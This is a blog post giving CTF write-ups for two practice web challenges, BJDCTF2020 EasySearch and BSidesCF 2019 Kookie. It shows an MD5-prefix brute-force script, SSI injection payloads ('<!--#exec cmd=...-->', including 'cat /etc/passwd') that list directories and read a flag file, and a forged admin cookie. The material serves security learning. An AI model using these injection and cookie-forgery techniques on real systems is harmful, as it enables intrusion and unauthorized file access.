BUUCTF-[BJDCTF2020]EasySearch,[BSidesCF 2019]Kookie

博客围绕[BJDCTF2020]EasySearch和[BSidesCF 2019]Kookie两道CTF题目展开。前者需解决md5字符串截取和路径文件存在问题,用到SSI注入;后者尝试弱口令爆破无果后,思考构造cookie假身份认证方法。最后总结解题收获与经验。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[BJDCTF2020]EasySearch

原始信息

一个登录框,单从源码上看,没什么信息。

<!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <meta name="viewport" content="width=device-width">
    <link href="public/css/base.css" rel="stylesheet" type="text/css">
    <link href="public/css/login.css" rel="stylesheet" type="text/css">
    </head>
    <body><div class="login">
        <form action="index.php" method="post" id="form">
            <div class="logo"></div>
            <div class="login_form">
                <div class="user">
                    <input class="text_value" value="" name="username" type="text" id="username" placeholder="username">
                    <input class="text_value" value="" name="password" type="password" id="password" placeholder="username">
                </div>
                <button class="button" id="submit" type="submit">登录</button>
            </div>            <div id="tip"></div>
    <div class="foot">
    bjd.cn
    </div>
    </form>
</div></body>
</html>

这个页面能提供的信息太有限了,最多就剥离出一个表单提交用到的username和password。

尝试直接扫站:

# 扫站的工具是dirmap,使用dirsearch也行,如果有字典,使用BP也能扫。
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/css][535.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/login.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/plain; charset=utf-8][1.13kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81//index.php.swp
100% (5878 of 5878) |############################################################| Elapsed Time: 0:12:02 Time:  0:12:02

# 这里就发现了一个很最重要的文件:index.php.swp

打开index.php.swp得到源码:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; //Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";            
    }else
    {
	***
    }
	***
?>

源码当中存在许多莫名其妙的***,可能是其他源码,这不是重点。

解题

html源码没什么可读性,主要关注php源码。

稍微整理下,进行源码分析:

<?php
# 不可见的源码被我删掉了
# 启动输出缓冲区
ob_start();

function get_hash()
{
    # 定义ascii字符以及一些常见符号
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    # mt_rand是获取随机整数的,这是从定义的字符串当中随机取出整数,并且拼接在一起
    # 随机从$chars当中取出字符串,一共5个
    $random = $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)]; //Random 5 times
    # uniqid():返回唯一标识符,且是基于当前时间和微秒数。
    # content是唯一标识符和随机字符串拼接的结果
    $content = uniqid() . $random;
    // 返回$content的哈希值
    return sha1($content);
}

// 控制数据包类型
header("Content-Type: text/html;charset=utf-8");

// 存在检测
if (isset($_POST['username']) and $_POST['username'] != '') {
    # 默认值(静态)
    $admin = '6d0bc1';
    # $admin 和传入的密码的 md5加密值 的 前六位相等
    if ($admin == substr(md5($_POST['password']), 0, 6)) {
        echo "<script>alert('[+] Welcome to manage system')</script>";

        # 创建文件路径,get_hash()是唯一标识符函数。
        $file_shtml = "public/" . get_hash() . ".shtml";
        # 以写入为主,打开这个文件。
        # 当文件无法打开时,转到die终止程序。
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        # 得到用户名拼接的特殊字符串,部分被掩饰无法观察,可能带上了flag
        $text = '******<h1>Hello,' . $_POST['username'] . '</h1>******';
        # 写入文件当中,并且关闭文件
        fwrite($shtml, $text);
        fclose($shtml);
        # 表示程序结束
        echo "[!] Header  error ...";
    } else {
        echo "<script>alert('[!] Failed')</script>";
    }
} else {
    # 某些源码不可见
    echo '';
}

如果我想读取flag,或者文件目录,应该从哪下手?

第一个需要跨越的障碍:md5字符串的截取问题

$admin == substr(md5($_POST['password']), 0, 6)

第二个需要跨越的障碍: 路径文件是否存在的问题

$file_shtml = "public/" . get_hash() . ".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
# w模式是强行创建新文件并且写入,这个or后面的语句是基于无法打开文件的情况存在的,与当下状况有些相悖。

仔细一想,第一个障碍可以尝试自己生成来解决,而第二个,则可以尝试历史生成解决。但是么……有一个非常重要的条件,就是你的password经过认证后就会回显它的URL路径信息了哇……
也就是说,这第二个障碍压根不存在……

# coding=utf-8
import hashlib

for i in range(10000000000):
    admin = '6d0bc1'
    # $admin 和传入的密码的 md5加密值 的 前六位相等
    hash_num = hashlib.md5()
    hash_num.update(str(i).encode('utf-8'))
    # print(hash_num.hexdigest())
    if admin == hash_num.hexdigest()[0:6]:
        print(i)
        break

#得到2020666

得到对应的数字后,可以试试成功与否

POST /index.php HTTP/1.1
Host: 03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
Connection: close
Referer: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81/index.php
Upgrade-Insecure-Requests: 1

username=username%27&password=2020666

悠着点哦,password的数字后面是没有任何字符串的。之前做的时候以为是用来标识为utf8编码的,后来试了几十次才发现那根本就是故意匡我的。数字后面根本不需要什么标识符。可能是我个人手误吧。

#下面是返回包的内容
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 17 Sep 2023 12:18:18 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
Url_is_here: public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27

<!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <meta name="viewport" content="width=device-width">
    <link href="public/css/base.css" rel="stylesheet" type="text/css">
    <link href="public/css/login.css" rel="stylesheet" type="text/css">
    </head>
    <body><script>alert('[+] Welcome to manage system')</script>[!] Header  error ...            <div id="tip"></div>
    <div class="foot">
    bjd.cn
    </div>
    </form>
</div></body>
</html>

返回包不仅给出了你需要的URL,甚至还回显了用户名。用户名是一个回显点,也是一个注点。但要怎么注呢?

说实在,给出下面这个路径给我们访问我是真的没想到。

为了解读源码,那时间浪费的有点严重哇……

public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
之前遇到的SSTI有明显的{{}}特征,结果这次插入{{}}后给我原原本本的返回来了。试了几次都无效,说明漏洞点不在这个知识点。

这个题目根据大佬WP,此处用到的是SSI。原因是因为这个返回的文件使用的Shtml格式文件。

网上查了下相关的shtml的资料,得到的是下面这些:

这里摘录下SSI语法:(具体的摘录来源点我)

SSI语法

SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。

1.显示服务器端环境变量<#echo>
<!#echo var="DOCUMENT_NAME"–>		//本文档名称
<!#echo var="DATE_LOCAL"–>		//现在时间
<! #echo var="REMOTE_ADDR"–>		//显示IP地址


2.将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->

3.显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
<! #flastmod file="文件名称"–>		//文件最近更新日期
<!#fsize file="文件名称"–>		//文件的长度

4.直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->

<!#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

尝试进行命令执行:

# 下面是登录和访问的组合,且只截取关键信息:
GET: /index.php
POST: username=<!--#exec cmd="ls"-->&password=2020666
return: Url_is_here: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
    
GET: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
return:
269c770854350d82db9e89bcc2b74715f0a96b6f.shtml
2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9aa614d73ad2694b92866b7c06.shtml
3338dcea2346d456527316503de582e136c25476.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
a05d058a9c759f8dd06fac9a6b9d06246b4ed759.shtml
bfc2f287e3213c54f5cb90c2df4007305db4ac0a.shtml
c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml
ca9ac3b902909d7ec631399cd928603c33f668f5.shtml
css
e094e1247c44f2212aa221bacbcedf8f393750ad.shtml
e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml
images
    
    
GET: /index.php
POST: username=<!--#exec cmd="ls ../"-->&password=2020666
return: Url_is_here: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml
    
GET: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml
return:
flag_990c66bf85a09c664f0b6741840499b2
index.php
index.php.swp
public


# 最终的WP
GET: /index.php
POST: username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
return: Url_is_here: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml
    
GET: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml
return:  flag{e249427f-cfc2-4d75-8d7c-a73be6ecf05a}

总结

学习了什么是shtml,以及对应的SSI注入。
C站找资源,有的不起眼的搜索列表下下下面的文章,或许就是小白眼中最宝贵的宝藏。因为有些博文永远简短,最适合的是大佬,并不是想要学习的小白想见到的。

[BSidesCF 2019]Kookie

原始信息

也是一个登录框。

<h1>Can you log in?</h1>
<p>Log in as <tt>admin</tt>!</p>
<p>We found the account <tt>cookie</tt> / <tt>monster</tt></p>
<div class='challenge rounded'>
    <div class='messagebox'>
        <div class="alert alert-warning" role="alert">
            <p>Invalid username or password!</p>
        </div>
    </div>
    <form method='GET'>
        <input type='hidden' name='action' value='login' />
        <p>Enter your password below!</p>
        <p>Username: <input type='text' class='name' name='username' /></p>
        <p>Password: <input type='text' name='password' /></p>
        <p><input type='submit' value='Log in!' /></p>
    </form>
</div>

提取的信息:
1.登录到admin
2.使用cookie登录
3.登录的用户名和密码的"name"分username和password

解题

1.尝试弱口令爆破,无法爆破。

2.根据cookie提示,思考构造cookie假身份认证的方法:

Cookie: username=admin
hackbar加上cookie后直接发送登录,获得如下结果:

<div class="alert alert-info" role="alert">
    <p>Congratulations! You're logged in as 
        <span class='highlight'>admin</span>
        ! Your flag is: 
        <span class='highlight'>
            flag{6989dc42-4fa8-42bd-9dc6-1f255711188a}
        </span></p>
</div>

总结

相比之前的题目,这道题真的算不要太简单。但有一个核心点,就是你是如何知道这个cookie就是这么放身份验证的。

如果细心的小白应该会发现,每次遇到cookie都是以等式出现的,并且还带了一些session和tooken的验证等。

这是寻常做题积累出来的。还有一点,题目扫站扫不出东西,就剩下一个光秃秃的表单要你以管理员身份进行登录,貌似也就只有这一种伪造的方法了。小的阅历不够,继续刷题去喽~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

矢量克罗斯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值